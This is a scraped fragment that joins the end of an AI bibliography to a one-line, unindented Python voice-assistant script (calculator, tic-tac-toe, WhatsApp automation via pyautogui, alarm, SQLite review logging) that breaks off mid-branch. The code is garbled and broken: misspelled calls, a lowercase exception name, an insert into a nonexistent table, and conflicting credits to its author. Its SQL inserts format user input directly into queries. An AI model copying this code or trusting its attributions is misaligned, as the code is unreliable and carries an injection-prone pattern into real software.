impact journal ranking methods: Example from the field of Artificial Intelligence" (PDF). Journal of Informetrics. 5 (4): 629–649. doi:10.1016/j.joi.2011.06.002. Archived (PDF) from the original on 4 October 2013. Retrieved 12 September 2013. Sun, R. & Bookman, L. (eds.), Computational Architectures: Integrating Neural and Symbolic Processes. Kluwer Academic Publishers, Needham, MA. 1994. Tom Simonite (29 December 2014). "2014 in Computing: Breakthroughs in Artificial Intelligence". MIT Technology Review. Tooze, Adam, "Democracy and Its Discontents", The New York Review of Books, vol. LXVI, no. 10 (6 June 2019), pp. 52–53, 56–57. "Democracy has no clear answer for the mindless operation of bureaucratic and technological power. We may indeed be witnessing its extension in the form of artificial intelligence and robotics. Likewise, after decades of dire warning, the environmental problem remains fundamentally unaddressed.... Bureaucratic overreach and environmental catastrophe are precisely the kinds of slow-moving existential challenges that democracies deal with very badly.... Finally, there is the threat du jour: corporations and the technologies they promote." (pp. 56–57.)
Rynkll696
import pyttsx3 import speech_recognition as sr import datetime from datetime import date import calendar import time import math import wikipedia import webbrowser import os import smtplib import winsound import pyautogui import cv2 from pygame import mixer from tkinter import * import tkinter.messagebox as message from sqlite3 import * conn = connect("voice_assistant_asked_questions.db") conn.execute("CREATE TABLE IF NOT EXISTS `voicedata`(id INTEGER PRIMARY KEY AUTOINCREMENT,command VARCHAR(201))") conn.execute("CREATE TABLE IF NOT EXISTS `review`(id INTEGER PRIMARY KEY AUTOINCREMENT, review VARCHAR(50), type_of_review VARCHAR(50))") conn.execute("CREATE TABLE IF NOT EXISTS `emoji`(id INTEGER PRIMARY KEY AUTOINCREMENT,emoji VARCHAR(201))") global query engine = pyttsx3.init('sapi5') voices = engine.getProperty('voices') engine.setProperty('voice', voices[0].id) def speak(audio): engine.say(audio) engine.runAndWait() def wishMe(): hour = int(datetime.datetime.now().hour) if hour >= 0 and hour<12: speak("Good Morning!") elif hour >= 12 and hour < 18: speak("Good Afternoon!") else: speak("Good Evening!") speak("I am voice assistant Akshu2020 Sir. Please tell me how may I help you.") def takeCommand(): global query r = sr.Recognizer() with sr.Microphone() as source: print("Listening...") r.pause_threshold = 0.9 audio = r.listen(source) try: print("Recognizing...") query = r.recognize_google(audio,language='en-in') print(f"User said: {query}\n") except Exception as e: #print(e) print("Say that again please...") #speak('Say that again please...') return "None" return query def calculator(): global query try: if 'add' in query or 'edi' in query: speak('Enter a number') a = float(input("Enter a number:")) speak('Enter another number to add') b = float(input("Enter another number to add:")) c = a+b print(f"{a} + {b} = {c}") speak(f'The addition of {a} and {b} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'sub' in query: speak('Enter a number') a = float(input("Enter a number:")) speak('Enter another number to subtract') b = float(input("Enter another number to subtract:")) c = a-b print(f"{a} - {b} = {c}") speak(f'The subtraction of {a} and {b} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'mod' in query: speak('Enter a number') a = float(input("Enter a number:")) speak('Enter another number') b = float(input("Enter another number:")) c = a%b print(f"{a} % {b} = {c}") speak(f'The modular division of {a} and {b} is equal to {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'div' in query: speak('Enter a number as dividend') a = float(input("Enter a number:")) speak('Enter another number as divisor') b = float(input("Enter another number as divisor:")) c = a/b print(f"{a} / {b} = {c}") speak(f'{a} divided by {b} is equal to {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'multi' in query: speak('Enter a number') a = float(input("Enter a number:")) speak('Enter another number to multiply') b = float(input("Enter another number to multiply:")) c = a*b print(f"{a} x {b} = {c}") speak(f'The multiplication of {a} and {b} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'square root' in query: speak('Enter a number to find its sqare root') a = float(input("Enter a number:")) c = a**(1/2) print(f"Square root of {a} = {c}") speak(f'Square root of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'square' in query: speak('Enter a number to find its sqare') a = float(input("Enter a number:")) c = a**2 print(f"{a} x {a} = {c}") speak(f'Square of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cube root' in query: speak('Enter a number to find its cube root') a = float(input("Enter a number:")) c = a**(1/3) print(f"Cube root of {a} = {c}") speak(f'Cube root of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cube' in query: speak('Enter a number to find its sqare') a = float(input("Enter a number:")) c = a**3 print(f"{a} x {a} x {a} = {c}") speak(f'Cube of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'fact' in query: try: n = int(input('Enter the number whose factorial you want to find:')) fact = 1 for i in range(1,n+1): fact = fact*i print(f"{n}! = {fact}") speak(f'{n} factorial is equal to {fact}. Your answer is {fact}.') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: #print(e) speak('I unable to calculate its factorial.') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'power' in query or 'raise' in query: speak('Enter a number whose power you want to raised') a = float(input("Enter a number whose power to be raised :")) speak(f'Enter a raised power to {a}') b = float(input(f"Enter a raised power to {a}:")) c = a**b print(f"{a} ^ {b} = {c}") speak(f'{a} raise to the power {b} = {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'percent' in query: speak('Enter a number whose percentage you want to calculate') a = float(input("Enter a number whose percentage you want to calculate :")) speak(f'How many percent of {a} you want to calculate?') b = float(input(f"Enter how many percentage of {a} you want to calculate:")) c = (a*b)/100 print(f"{b} % of {a} is {c}") speak(f'{b} percent of {a} is {c}. Your answer is {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'interest' in query: speak('Enter the principal value or amount') p = float(input("Enter the principal value (P):")) speak('Enter the rate of interest per year') r = float(input("Enter the rate of interest per year (%):")) speak('Enter the time in months') t = int(input("Enter the time (in months):")) interest = (p*r*t)/1200 sint = round(interest) fv = round(p + interest) print(f"Interest = {interest}") print(f"The total amount accured, principal plus interest, from simple interest on a principal of {p} at a rate of {r}% per year for {t} months is {p + interest}.") speak(f'interest is {sint}. The total amount accured, principal plus interest, from simple interest on a principal of {p} at a rate of {r}% per year for {t} months is {fv}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'si' in query: speak('Enter the angle in degree to find its sine value') a = float(input("Enter the angle:")) b = a * 3.14/180 c = math.sin(b) speak('Here is your answer.') print(f"sin({a}) = {c}") speak(f'sin({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cos' in query: speak('Enter the angle in degree to find its cosine value') a = float(input("Enter the angle:")) b = a * 3.14/180 c = math.cos(b) speak('Here is your answer.') print(f"cos({a}) = {c}") speak(f'cos({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cot' in query or 'court' in query: try: speak('Enter the angle in degree to find its cotangent value') a = float(input("Enter the angle:")) b = a * 3.14/180 c = 1/math.tan(b) speak('Here is your answer.') print(f"cot({a}) = {c}") speak(f'cot({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: print("infinity") speak('Answer is infinity') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'tan' in query or '10' in query: speak('Enter the angle in degree to find its tangent value') a = float(input("Enter the angle:")) b = a * 3.14/180 c = math.tan(b) speak('Here is your answer.') print(f"tan({a}) = {c}") speak(f'tan({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'cosec' in query: try: speak('Enter the angle in degree to find its cosecant value') a = float(input("Enter the angle:")) b = a * 3.14/180 c =1/ math.sin(b) speak('Here is your answer.') print(f"cosec({a}) = {c}") speak(f'cosec({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: print('Infinity') speak('Answer is infinity') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'caus' in query: try: speak('Enter the angle in degree to find its cosecant value') a = float(input("Enter the angle:")) b = a * 3.14/180 c =1/ math.sin(b) speak('Here is your answer.') print(f"cosec({a}) = {c}") speak(f'cosec({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: print('Infinity') speak('Answer is infinity') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') elif 'sec' in query: try: speak('Enter the angle in degree to find its secant value') a = int(input("Enter the angle:")) b = a * 3.14/180 c = 1/math.cos(b) speak('Here is your answer.') print(f"sec({a}) = {c}") speak(f'sec({a}) = {c}') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: print('Infinity') speak('Answer is infinity') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') except Exception as e: speak('I unable to do this calculation.') speak('Do you want to do another calculation?') query = takeCommand().lower() if 'y' in query: speak('ok which calculation you want to do?') query = takeCommand().lower() calculator() else: speak('ok') def callback(r,c): global player if player == 'X' and states[r][c] == 0 and stop_game == False: b[r][c].configure(text='X',fg='blue', bg='white') states[r][c] = 'X' player = 'O' if player == 'O' and states[r][c] == 0 and stop_game == False: b[r][c].configure(text='O',fg='red', bg='yellow') states[r][c] = 'O' player = 'X' check_for_winner() def check_for_winner(): global stop_game global root for i in range(3): if states[i][0] == states[i][1]== states[i][2]!=0: b[i][0].config(bg='grey') b[i][1].config(bg='grey') b[i][2].config(bg='grey') stop_game = True root.destroy() for i in range(3): if states[0][i] == states[1][i] == states[2][i]!= 0: b[0][i].config(bg='grey') b[1][i].config(bg='grey') b[2][i].config(bg='grey') stop_game = True root.destroy() if states[0][0] == states[1][1]== states[2][2]!= 0: b[0][0].config(bg='grey') b[1][1].config(bg='grey') b[2][2].config(bg='grey') stop_game = True root.destroy() if states[2][0] == states[1][1] == states[0][2]!= 0: b[2][0].config(bg='grey') b[1][1].config(bg='grey') b[0][2].config(bg='grey') stop_game = True root.destroy() def sendEmail(to,content): server = smtplib.SMTP('smtp.gmail.com', 587) server.ehlo() server.starttls() server.login('xyz123@gmail.com','password') server.sendmail('xyz123@gmail.com',to,content) server.close() def brightness(): try: query = takeCommand().lower() if '25' in query: pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1610,960) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() speak('If you again want to change brihtness, say, change brightness') elif '50' in query: pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1684,960) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() speak('If you again want to change brihtness, say, change brightness') elif '75' in query: pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1758,960) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() speak('If you again want to change brihtness, say, change brightness') elif '100' in query or 'full' in query: pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1835,960) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() speak('If you again want to change brihtness, say, change brightness') else: speak('Please select 25, 50, 75 or 100....... Say again.') brightness() except exception as e: #print(e) speak('Something went wrong') def close_window(): try: if 'y' in query: pyautogui.moveTo(1885,10) pyautogui.click() else: speak('ok') pyautogui.moveTo(1000,500) except exception as e: #print(e) speak('error') def whatsapp(): query = takeCommand().lower() if 'y' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('whatsapp') time.sleep(2) pyautogui.press('enter') time.sleep(2) pyautogui.moveTo(100,140) pyautogui.click() speak('To whom you want to send message,.....just write the name here in 5 seconds') time.sleep(7) pyautogui.moveTo(120,300) pyautogui.click() time.sleep(1) pyautogui.moveTo(800,990) pyautogui.click() speak('Say the message,....or if you want to send anything else,...say send document, or say send emoji') query = takeCommand() if ('sent' in query or 'send' in query) and 'document' in query: pyautogui.moveTo(660,990) pyautogui.click() time.sleep(1) pyautogui.moveTo(660,740) pyautogui.click() speak('please select the document within 10 seconds') time.sleep(12) speak('Should I send this document?') query = takeCommand().lower() if 'y' in query and 'no' not in query: speak('sending the document......') pyautogui.press('enter') speak('Do you want to send message again to anyone?') whatsapp() elif ('remove' in query or 'cancel' in query or 'delete' in query or 'clear' in query) and ('document' in query or 'message' in query or 'it' in query or 'emoji' in query or 'select' in query): pyautogui.doubleClick(x=800, y=990) pyautogui.press('backspace') speak('Do you want to send message again to anyone?') whatsapp() else: speak('ok') elif ('sent' in query or 'send' in query) and 'emoji' in query: pyautogui.moveTo(620,990) pyautogui.click() pyautogui.moveTo(670,990) pyautogui.click() pyautogui.moveTo(650,580) pyautogui.click() speak('please select the emoji within 10 seconds') time.sleep(11) speak('Should I send this emoji?') query = takeCommand().lower() if 'y' in query and 'no' not in query: speak('Sending the emoji......') pyautogui.press('enter') speak('Do you want to send message again to anyone?') whatsapp() elif ('remove' in query or 'cancel' in query or 'delete' in query or 'clear' in query) and ('message' in query or 'it' in query or 'emoji' in query or 'select' in query): pyautogui.doublClick(x=800, y=990) speak('Do you want to send message again to anyone?') whatsapp() else: speak('ok') else: pyautogui.write(f'{query}') speak('Should I send this message?') query = takeCommand().lower() if 'y' in query and 'no' not in query: speak('sending the message......') pyautogui.press('enter') speak('Do you want to send message again to anyone?') whatsapp() elif ('remove' in query or 'cancel' in query or 'delete' in query or 'clear' in query) and ('message' in query or 'it' in query or 'select' in query): pyautogui.doubleClick(x=800, y=990) pyautogui.press('backspace') speak('Do you want to send message again to anyone?') whatsapp() else: speak('ok') else: speak('ok') def alarm(): root = Tk() root.title('Akshu2020 Alarm-Clock') speak('Please enter the time in the format hour, minutes and seconds. When the alarm should rang?') speak('Please enter the time greater than the current time') def setalarm(): alarmtime = f"{hrs.get()}:{mins.get()}:{secs.get()}" print(alarmtime) if(alarmtime!="::"): alarmclock(alarmtime) else: speak('You have not entered the time.') def alarmclock(alarmtime): while True: time.sleep(1) time_now=datetime.datetime.now().strftime("%H:%M:%S") print(time_now) if time_now == alarmtime: Wakeup=Label(root, font = ('arial', 20, 'bold'), text="Wake up! Wake up! Wake up",bg="DodgerBlue2",fg="white").grid(row=6,columnspan=3) speak("Wake up, Wake up") print("Wake up!") mixer.init() mixer.music.load(r'C:\Users\Admin\Music\Playlists\wake-up-will-you-446.mp3') mixer.music.play() break speak('you can click on close icon to close the alarm window.') hrs=StringVar() mins=StringVar() secs=StringVar() greet=Label(root, font = ('arial', 20, 'bold'),text="Take a short nap!").grid(row=1,columnspan=3) hrbtn=Entry(root,textvariable=hrs,width=5,font =('arial', 20, 'bold')) hrbtn.grid(row=2,column=1) minbtn=Entry(root,textvariable=mins, width=5,font = ('arial', 20, 'bold')).grid(row=2,column=2) secbtn=Entry(root,textvariable=secs, width=5,font = ('arial', 20, 'bold')).grid(row=2,column=3) setbtn=Button(root,text="set alarm",command=setalarm,bg="DodgerBlue2", fg="white",font = ('arial', 20, 'bold')).grid(row=4,columnspan=3) timeleft = Label(root,font=('arial', 20, 'bold')) timeleft.grid() mainloop() def select1(): global vs global root3 global type_of_review if vs.get() == 1: message.showinfo(" ","Thank you for your review!!") review = "Very Satisfied" type_of_review = "Positive" root3.destroy() elif vs.get() == 2: message.showinfo(" ","Thank you for your review!!") review = "Satisfied" type_of_review = "Positive" root3.destroy() elif vs.get() == 3: message.showinfo(" ","Thank you for your review!!!!") review = "Neither Satisfied Nor Dissatisfied" type_of_review = "Neutral" root3.destroy() elif vs.get() == 4: message.showinfo(" ","Thank you for your review!!") review = "Dissatisfied" type_of_review = "Negative" root3.destroy() elif vs.get() == 5: message.showinfo(" ","Thank you for your review!!") review = "Very Dissatisfied" type_of_review = "Negative" root3.destroy() elif vs.get() == 6: message.showinfo(" "," Ok ") review = "I do not want to give review" type_of_review = "No review" root3.destroy() try: conn.execute(f"INSERT INTO `review`(review,type_of_review) VALUES('{review}', '{type_of_review}')") conn.commit() except Exception as e: pass def select_review(): global root3 global vs global type_of_review root3 = Tk() root3.title("Select an option") vs = IntVar() string = "Are you satisfied with my performance?" msgbox = Message(root3,text=string) msgbox.config(bg="lightgreen",font = "(20)") msgbox.grid(row=0,column=0) rs1=Radiobutton(root3,text="Very Satisfied",font="(20)",value=1,variable=vs).grid(row=1,column=0,sticky=W) rs2=Radiobutton(root3,text="Satisfied",font="(20)",value=2,variable=vs).grid(row=2,column=0,sticky=W) rs3=Radiobutton(root3,text="Neither Satisfied Nor Dissatisfied",font="(20)",value=3,variable=vs).grid(row=3,column=0,sticky=W) rs4=Radiobutton(root3,text="Dissatisfied",font="(20)",value=4,variable=vs).grid(row=4,column=0,sticky=W) rs5=Radiobutton(root3,text="Very Dissatisfied",font="(20)",value=5,variable=vs).grid(row=5,column=0,sticky=W) rs6=Radiobutton(root3,text="I don't want to give review",font="(20)",value=6,variable=vs).grid(row=6,column=0,sticky=W) bs = Button(root3,text="Submit",font="(20)",activebackground="yellow",activeforeground="green",command=select1) bs.grid(row=7,columnspan=2) root3.mainloop() while True : query = takeCommand().lower() # logic for executing tasks based on query if 'wikipedia' in query: speak('Searching wikipedia...') query = query.replace("wikipedia","") results = wikipedia.summary(query, sentences=2) speak("According to Wikipedia") print(results) speak(results) elif 'translat' in query or ('let' in query and 'translat' in query and 'open' in query): webbrowser.open('https://translate.google.co.in') time.sleep(10) elif 'open map' in query or ('let' in query and 'map' in query and 'open' in query): webbrowser.open('https://www.google.com/maps') time.sleep(10) elif ('open' in query and 'youtube' in query) or ('let' in query and 'youtube' in query and 'open' in query): webbrowser.open('https://www.youtube.com') time.sleep(10) elif 'chrome' in query: webbrowser.open('https://www.chrome.com') time.sleep(10) elif 'weather' in query: webbrowser.open('https://www.yahoo.com/news/weather') time.sleep(3) speak('Click on, change location, and enter the city , whose whether conditions you want to know.') time.sleep(10) elif 'google map' in query: webbrowser.open('https://www.google.com/maps') time.sleep(10) elif ('open' in query and 'google' in query) or ('let' in query and 'google' in query and 'open' in query): webbrowser.open('google.com') time.sleep(10) elif ('open' in query and 'stack' in query and 'overflow' in query) or ('let' in query and 'stack' in query and 'overflow' in query and 'open' in query): webbrowser.open('stackoverflow.com') time.sleep(10) elif 'open v i' in query or 'open vi' in query or 'open vierp' in query or ('open' in query and ('r p' in query or 'rp' in query)): webbrowser.open('https://www.vierp.in/login/erplogin') time.sleep(10) elif 'news' in query: webbrowser.open('https://www.bbc.com/news/world') time.sleep(10) elif 'online shop' in query or (('can' in query or 'want' in query or 'do' in query or 'could' in query) and 'shop' in query) or('let' in query and 'shop' in query): speak('From which online shopping website, you want to shop? Amazon, flipkart, snapdeal or naaptol?') query = takeCommand().lower() if 'amazon' in query: webbrowser.open('https://www.amazon.com') time.sleep(10) elif 'flip' in query: webbrowser.open('https://www.flipkart.com') time.sleep(10) elif 'snap' in query: webbrowser.open('https://www.snapdeal.com') time.sleep(10) elif 'na' in query: webbrowser.open('https://www.naaptol.com') time.sleep(10) else: speak('Sorry sir, you have to search in browser as his shopping website is not reachable for me.') elif ('online' in query and ('game' in query or 'gaming' in query)): webbrowser.open('https://www.agame.com/games') time.sleep(10) elif 'dictionary' in query: webbrowser.open('https://www.dictionary.com') time.sleep(3) speak('Enter the word, in the search bar of the dictionary, whose defination or synonyms you want to know') time.sleep(3) elif ('identif' in query and 'emoji' in query) or ('sentiment' in query and ('analysis' in query or 'identif' in query)): speak('Please enter only one emoji at a time.') emoji = input('enter emoji here: ') if '😀' in emoji or '😃' in emoji or '😄' in emoji or '😁' in emoji or '🙂' in emoji or '😊' in emoji or '☺️' in emoji or '😇' in emoji or '🥲' in emoji: speak('happy') print('Happy') elif '😝' in emoji or '😆' in emoji or '😂' in emoji or '🤣' in emoji: speak('Laughing') print('Laughing') elif '😡' in emoji or '😠' in emoji or '🤬' in emoji: speak('Angry') print('Angry') elif '🤫' in emoji: speak('Keep quite') print('Keep quite') elif '😷' in emoji: speak('face with mask') print('Face with mask') elif '🥳' in emoji: speak('party') print('party') elif '😢' in emoji or '😥' in emoji or '😓' in emoji or '😰' in emoji or '☹️' in emoji or '🙁' in emoji or '😟' in emoji or '😔' in emoji or '😞️' in emoji: speak('Sad') print('Sad') elif '😭' in emoji: speak('Crying') print('Crying') elif '😋' in emoji: speak('Tasty') print('Tasty') elif '🤨' in emoji: speak('Doubt') print('Doubt') elif '😴' in emoji: speak('Sleeping') print('Sleeping') elif '🥱' in emoji: speak('feeling sleepy') print('feeling sleepy') elif '😍' in emoji or '🥰' in emoji or '😘' in emoji: speak('Lovely') print('Lovely') elif '😱' in emoji: speak('Horrible') print('Horrible') elif '🎂' in emoji: speak('Cake') print('Cake') elif '🍫' in emoji: speak('Cadbury') print('Cadbury') elif '🇮🇳' in emoji: speak('Indian national flag,.....Teeranga') print('Indian national flag - Tiranga') elif '💐' in emoji: speak('Bouquet') print('Bouquet') elif '🥺' in emoji: speak('Emotional') print('Emotional') elif ' ' in emoji or '' in emoji: speak(f'{emoji}') else: speak("I don't know about this emoji") print("I don't know about this emoji") try: conn.execute(f"INSERT INTO `emoji`(emoji) VALUES('{emoji}')") conn.commit() except Exception as e: #print('Error in storing emoji in database') pass elif 'time' in query: strTime = datetime.datetime.now().strftime("%H:%M:%S") print(strTime) speak(f"Sir, the time is {strTime}") elif 'open' in query and 'sublime' in query: path = "C:\Program Files\Sublime Text 3\sublime_text.exe" os.startfile(path) elif 'image' in query: path = "C:\Program Files\Internet Explorer\images" os.startfile(path) elif 'quit' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'exit' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'stop' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'shutdown' in query or 'shut down' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'close you' in query: speak('Ok, Thank you Sir.') said = False speak('Please give the review. It will help me to improve my performance.') select_review() try: conn.execute(f"INSERT INTO `voice_assistant_review`(review, type_of_review) VALUES('{review}', '{type_of_review}')") conn.commit() except Exception as e: pass elif 'bye' in query: speak('Bye Sir') said = False speak('Please give the review. It will help me to improve my performance.') select_review() elif 'wait' in query or 'hold' in query: speak('for how many seconds or minutes I have to wait?') query = takeCommand().lower() if 'second' in query: query = query.replace("please","") query = query.replace("can","") query = query.replace("you","") query = query.replace("have","") query = query.replace("could","") query = query.replace("hold","") query = query.replace("one","1") query = query.replace("only","") query = query.replace("wait","") query = query.replace("for","") query = query.replace("the","") query = query.replace("just","") query = query.replace("seconds","") query = query.replace("second","") query = query.replace("on","") query = query.replace("a","") query = query.replace("to","") query = query.replace(" ","") #print(f'query:{query}') if query.isdigit() == True: #print('y') speak('Ok sir') query = int(query) time.sleep(query) speak('my waiting time is over') else: print('sorry sir. I unable to complete your request.') elif 'minute' in query: query = query.replace("please","") query = query.replace("can","") query = query.replace("you","") query = query.replace("have","") query = query.replace("could","") query = query.replace("hold","") query = query.replace("one","1") query = query.replace("only","") query = query.replace("on","") query = query.replace("wait","") query = query.replace("for","") query = query.replace("the","") query = query.replace("just","") query = query.replace("and","") query = query.replace("half","") query = query.replace("minutes","") query = query.replace("minute","") query = query.replace("a","") query = query.replace("to","") query = query.replace(" ","") #print(f'query:{query}') if query.isdigit() == True: #print('y') speak('ok sir') query = int(query) time.sleep(query*60) speak('my waiting time is over') else: print('sorry sir. I unable to complete your request.') elif 'play' in query and 'game' in query: speak('I have 3 games, tic tac toe game for two players,....mario, and dyno games for single player. Which one of these 3 games you want to play?') query = takeCommand().lower() if ('you' in query and 'play' in query and 'with' in query) and ('you' in query and 'play' in query and 'me' in query): speak('Sorry sir, I cannot play this game with you.') speak('Do you want to continue it?') query = takeCommand().lower() try: if 'y' in query or 'sure' in query: root = Tk() root.title("TIC TAC TOE (By Akshay Khare)") b = [ [0,0,0], [0,0,0], [0,0,0] ] states = [ [0,0,0], [0,0,0], [0,0,0] ] for i in range(3): for j in range(3): b[i][j] = Button(font = ("Arial",60),width = 4,bg = 'powder blue', command = lambda r=i, c=j: callback(r,c)) b[i][j].grid(row=i,column=j) player='X' stop_game = False mainloop() else: speak('ok sir') except Exception as e: #print(e) time.sleep(3) print('I am sorry sir. There is some problem in loading the game. So I cannot open it.') elif 'tic' in query or 'tac' in query: try: root = Tk() root.title("TIC TAC TOE (Rayen Kallel)") b = [ [0,0,0], [0,0,0], [0,0,0] ] states = [ [0,0,0], [0,0,0], [0,0,0] ] for i in range(3): for j in range(3): b[i][j] = Button(font = ("Arial",60),width = 4,bg = 'powder blue', command = lambda r=i, c=j: callback(r,c)) b[i][j].grid(row=i,column=j) player='X' stop_game = False mainloop() except Exception as e: #print(e) time.sleep(3) speak('I am sorry sir. There is some problem in loading the game. So I cannot open it.') elif 'mar' in query or 'mer' in query or 'my' in query: webbrowser.open('https://chromedino.com/mario/') time.sleep(2.5) speak('Enter upper arrow key to start the game.') time.sleep(20) elif 'di' in query or 'dy' in query: webbrowser.open('https://chromedino.com/') time.sleep(2.5) speak('Enter upper arrow key to start the game.') time.sleep(20) else: speak('ok sir') elif 'change' in query and 'you' in query and 'voice' in query: engine.setProperty('voice', voices[1].id) speak("Here's an example of one of my voices. Would you like to use this one?") query = takeCommand().lower() if 'y' in query or 'sure' in query or 'of course' in query: speak('Great. I will keep using this voice.') elif 'n' in query: speak('Ok. I am back to my other voice.') engine.setProperty('voice', voices[0].id) else: speak('Sorry, I am having trouble understanding. I am back to my other voice.') engine.setProperty('voice', voices[0].id) elif 'www.' in query and ('.com' in query or '.in' in query): webbrowser.open(query) time.sleep(10) elif '.com' in query or '.in' in query: webbrowser.open(query) time.sleep(10) elif 'getting bore' in query: speak('then speak with me for sometime') elif 'i bore' in query: speak('Then speak with me for sometime.') elif 'i am bore' in query: speak('Then speak with me for sometime.') elif 'calculat' in query: speak('Yes. Which kind of calculation you want to do? add, substract, divide, multiply or anything else.') query = takeCommand().lower() calculator() elif 'add' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif '+' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'plus' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'subtrac' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'minus' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'multipl' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif ' x ' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'slash' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif '/' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'divi' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'trigonometr' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'percent' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif '%' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'raise to ' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'simple interest' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'akshay' in query: speak('Mr. Rayen Kallel is my inventor. He is 14 years old and he is A STUDENT AT THE COLLEGE PILOTEE SFAX') elif 'your inventor' in query: speak('Mr. Rayen Kallel is my inventor') elif 'your creator' in query: speak('Mr. Rayen Kallel is my creator') elif 'invent you' in query: speak('Mr. Rayen Kallel invented me') elif 'create you' in query: speak('Mr. Rayen Kallel created me') elif 'how are you' in query: speak('I am fine Sir') elif 'write' in query and 'your' in query and 'name' in query: 